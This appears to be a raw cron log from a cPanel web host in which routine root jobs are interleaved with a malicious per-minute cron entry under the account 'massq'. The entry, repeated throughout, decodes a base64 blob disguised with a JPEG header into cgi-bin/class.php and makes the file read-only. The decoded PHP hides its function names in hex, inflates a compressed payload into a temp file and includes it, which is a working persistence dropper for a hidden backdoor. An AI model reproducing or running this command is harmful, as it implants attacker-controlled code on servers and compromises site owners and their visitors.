Sep  4 17:27:01 server CROND[31054]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 17:27:01 server CROND[31051]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:28:01 server CROND[31422]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 17:28:01 server CROND[31423]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:28:01 server CROND[31424]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:29:01 server CROND[31855]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 17:29:01 server CROND[31854]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:29:01 server CROND[31856]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:30:01 server CROND[32230]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 17:30:01 server CROND[32232]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 17:30:01 server CROND[32238]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 17:30:01 server CROND[32240]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 17:30:01 server CROND[32239]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 17:30:01 server CROND[32242]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:30:01 server CROND[32243]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:30:01 server CROND[32241]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 17:31:01 server CROND[602]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:31:01 server CROND[603]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:31:01 server CROND[604]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 17:32:01 server CROND[1151]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:32:01 server CROND[1153]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 17:32:01 server CROND[1152]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:33:01 server CROND[1563]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 17:33:01 server CROND[1564]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:33:01 server CROND[1565]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:34:01 server CROND[1935]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 17:34:01 server CROND[1936]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:34:01 server CROND[1937]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:35:01 server CROND[2358]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 17:35:01 server CROND[2359]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:35:01 server CROND[2361]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  4 17:35:01 server CROND[2362]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 17:35:01 server CROND[2373]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 17:35:01 server CROND[2374]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:35:01 server CROND[2370]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 17:35:01 server CROND[2371]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 17:35:01 server CROND[2372]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 17:36:01 server CROND[3237]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 17:36:01 server CROND[3238]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:36:01 server CROND[3239]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:37:01 server CROND[3705]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:37:01 server CROND[3706]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 17:37:01 server CROND[3707]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:38:01 server CROND[4081]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:38:01 server CROND[4082]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:38:01 server CROND[4083]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 17:39:01 server CROND[4462]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 17:39:01 server CROND[4461]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 17:39:01 server CROND[4463]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
